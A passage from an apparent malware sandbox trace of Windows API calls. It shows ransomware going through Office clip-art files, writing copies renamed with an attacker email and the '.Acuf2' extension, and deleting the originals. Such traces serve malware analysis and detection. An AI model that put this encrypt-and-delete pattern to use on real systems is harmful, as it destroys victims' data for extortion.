	[0271.711] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1
	[0271.711] lstrlenW (lpString=".pdf") returned 4
	[0271.711] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0271.712] lstrlenW (lpString=".xls") returned 4
	[0271.712] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0271.712] lstrlenW (lpString=".xlsx") returned 5
	[0271.712] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1
	[0271.712] lstrlenW (lpString=".ppt") returned 4
	[0271.712] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0271.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63
	[0271.712] lstrlenW (lpString=".zip") returned 4
	[0271.712] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0271.712] lstrlenW (lpString=".rar") returned 4
	[0271.712] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0271.712] lstrlenW (lpString=".bz2") returned 4
	[0271.712] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0271.712] lstrlenW (lpString=".7z") returned 3
	[0271.712] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0271.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63
	[0271.712] lstrlenW (lpString=".dbf") returned 4
	[0271.712] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0271.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63
	[0271.712] lstrlenW (lpString=".1cd") returned 4
	[0271.712] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0271.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63
	[0271.712] lstrlenW (lpString=".jpg") returned 4
	[0271.712] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0271.713] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=33975) returned 1
	[0271.713] CloseHandle (hObject=0x29c) returned 1
	[0271.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif")) returned 0x20
	[0271.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0271.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0271.713] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.713] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0271.713] GetLastError () returned 0x0
	[0271.713] ReadFile (in: hFile=0x29c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x84b7, lpOverlapped=0x0) returned 1
	[0271.913] WriteFile (in: hFile=0x218, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x84c0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x84c0, lpOverlapped=0x0) returned 1
	[0271.914] ReadFile (in: hFile=0x29c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.914] WriteFile (in: hFile=0x218, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0271.914] SetEndOfFile (hFile=0x218) returned 1
	[0272.064] CloseHandle (hObject=0x218) returned 1
	[0272.064] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.064] SetEndOfFile (hFile=0x29c) returned 1
	[0272.067] CloseHandle (hObject=0x29c) returned 1
	[0272.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.074] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif")) returned 1
	[0272.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63
	[0272.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63
	[0272.074] lstrlenW (lpString=".doc") returned 4
	[0272.074] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0272.074] lstrlenW (lpString=".docx") returned 5
	[0272.074] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1
	[0272.074] lstrlenW (lpString=".pdf") returned 4
	[0272.074] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0272.074] lstrlenW (lpString=".xls") returned 4
	[0272.074] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0272.074] lstrlenW (lpString=".xlsx") returned 5
	[0272.074] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1
	[0272.074] lstrlenW (lpString=".ppt") returned 4
	[0272.074] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0272.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63
	[0272.075] lstrlenW (lpString=".zip") returned 4
	[0272.075] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0272.075] lstrlenW (lpString=".rar") returned 4
	[0272.075] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0272.075] lstrlenW (lpString=".bz2") returned 4
	[0272.075] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0272.075] lstrlenW (lpString=".7z") returned 3
	[0272.075] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0272.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63
	[0272.075] lstrlenW (lpString=".dbf") returned 4
	[0272.075] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0272.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63
	[0272.075] lstrlenW (lpString=".1cd") returned 4
	[0272.075] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0272.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63
	[0272.075] lstrlenW (lpString=".jpg") returned 4
	[0272.075] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0272.081] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=32184) returned 1
	[0272.081] CloseHandle (hObject=0x29c) returned 1
	[0272.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp")) returned 0x20
	[0272.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0272.151] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.151] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0272.152] GetLastError () returned 0x0
	[0272.152] ReadFile (in: hFile=0x358, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x7db8, lpOverlapped=0x0) returned 1
	[0272.153] WriteFile (in: hFile=0x334, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x7dc0, lpOverlapped=0x0) returned 1
	[0272.155] ReadFile (in: hFile=0x358, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.155] WriteFile (in: hFile=0x334, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.155] SetEndOfFile (hFile=0x334) returned 1
	[0272.155] CloseHandle (hObject=0x334) returned 1
	[0272.155] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.155] SetEndOfFile (hFile=0x358) returned 1
	[0272.157] CloseHandle (hObject=0x358) returned 1
	[0272.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.157] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp")) returned 1
	[0272.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63
	[0272.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63
	[0272.158] lstrlenW (lpString=".doc") returned 4
	[0272.158] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0272.158] lstrlenW (lpString=".docx") returned 5
	[0272.158] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1
	[0272.158] lstrlenW (lpString=".pdf") returned 4
	[0272.158] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0272.158] lstrlenW (lpString=".xls") returned 4
	[0272.158] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0272.158] lstrlenW (lpString=".xlsx") returned 5
	[0272.158] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1
	[0272.158] lstrlenW (lpString=".ppt") returned 4
	[0272.158] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0272.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63
	[0272.158] lstrlenW (lpString=".zip") returned 4
	[0272.158] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0272.158] lstrlenW (lpString=".rar") returned 4
	[0272.158] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0272.158] lstrlenW (lpString=".bz2") returned 4
	[0272.158] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0272.158] lstrlenW (lpString=".7z") returned 3
	[0272.158] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0272.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63
	[0272.158] lstrlenW (lpString=".dbf") returned 4
	[0272.158] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0272.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63
	[0272.158] lstrlenW (lpString=".1cd") returned 4
	[0272.158] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0272.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63
	[0272.159] lstrlenW (lpString=".jpg") returned 4
	[0272.159] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0272.160] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=16104) returned 1
	[0272.160] CloseHandle (hObject=0x358) returned 1
	[0272.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf")) returned 0x20
	[0272.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0272.160] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.160] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0272.161] GetLastError () returned 0x0
	[0272.161] ReadFile (in: hFile=0x358, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x3ee8, lpOverlapped=0x0) returned 1
	[0272.165] WriteFile (in: hFile=0x334, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x3ef0, lpOverlapped=0x0) returned 1
	[0272.166] ReadFile (in: hFile=0x358, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.166] WriteFile (in: hFile=0x334, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.166] SetEndOfFile (hFile=0x334) returned 1
	[0272.166] CloseHandle (hObject=0x334) returned 1
	[0272.166] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.166] SetEndOfFile (hFile=0x358) returned 1
	[0272.168] CloseHandle (hObject=0x358) returned 1
	[0272.168] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.168] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf")) returned 1
	[0272.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63
	[0272.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63
	[0272.168] lstrlenW (lpString=".doc") returned 4
	[0272.168] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.169] lstrlenW (lpString=".docx") returned 5
	[0272.169] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0272.169] lstrlenW (lpString=".pdf") returned 4
	[0272.169] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.169] lstrlenW (lpString=".xls") returned 4
	[0272.169] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.169] lstrlenW (lpString=".xlsx") returned 5
	[0272.169] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0272.169] lstrlenW (lpString=".ppt") returned 4
	[0272.169] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63
	[0272.169] lstrlenW (lpString=".zip") returned 4
	[0272.169] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.169] lstrlenW (lpString=".rar") returned 4
	[0272.169] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.169] lstrlenW (lpString=".bz2") returned 4
	[0272.169] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.169] lstrlenW (lpString=".7z") returned 3
	[0272.169] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63
	[0272.169] lstrlenW (lpString=".dbf") returned 4
	[0272.169] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63
	[0272.169] lstrlenW (lpString=".1cd") returned 4
	[0272.169] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63
	[0272.169] lstrlenW (lpString=".jpg") returned 4
	[0272.169] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.170] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=15988) returned 1
	[0272.170] CloseHandle (hObject=0x358) returned 1
	[0272.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf")) returned 0x20
	[0272.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0272.170] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.170] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0272.171] GetLastError () returned 0x0
	[0272.171] ReadFile (in: hFile=0x358, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x3e74, lpOverlapped=0x0) returned 1
	[0272.172] WriteFile (in: hFile=0x334, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x3e80, lpOverlapped=0x0) returned 1
	[0272.173] ReadFile (in: hFile=0x358, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.173] WriteFile (in: hFile=0x334, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.173] SetEndOfFile (hFile=0x334) returned 1
	[0272.173] CloseHandle (hObject=0x334) returned 1
	[0272.173] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.173] SetEndOfFile (hFile=0x358) returned 1
	[0272.176] CloseHandle (hObject=0x358) returned 1
	[0272.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.176] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf")) returned 1
	[0272.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63
	[0272.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63
	[0272.176] lstrlenW (lpString=".doc") returned 4
	[0272.176] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.176] lstrlenW (lpString=".docx") returned 5
	[0272.176] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0272.176] lstrlenW (lpString=".pdf") returned 4
	[0272.176] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.176] lstrlenW (lpString=".xls") returned 4
	[0272.176] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.176] lstrlenW (lpString=".xlsx") returned 5
	[0272.176] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0272.176] lstrlenW (lpString=".ppt") returned 4
	[0272.176] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63
	[0272.176] lstrlenW (lpString=".zip") returned 4
	[0272.177] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.177] lstrlenW (lpString=".rar") returned 4
	[0272.177] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.177] lstrlenW (lpString=".bz2") returned 4
	[0272.177] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.177] lstrlenW (lpString=".7z") returned 3
	[0272.177] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63
	[0272.177] lstrlenW (lpString=".dbf") returned 4
	[0272.177] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63
	[0272.177] lstrlenW (lpString=".1cd") returned 4
	[0272.177] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63
	[0272.177] lstrlenW (lpString=".jpg") returned 4
	[0272.177] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.177] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=27000) returned 1
	[0272.177] CloseHandle (hObject=0x358) returned 1
	[0272.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf")) returned 0x20
	[0272.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
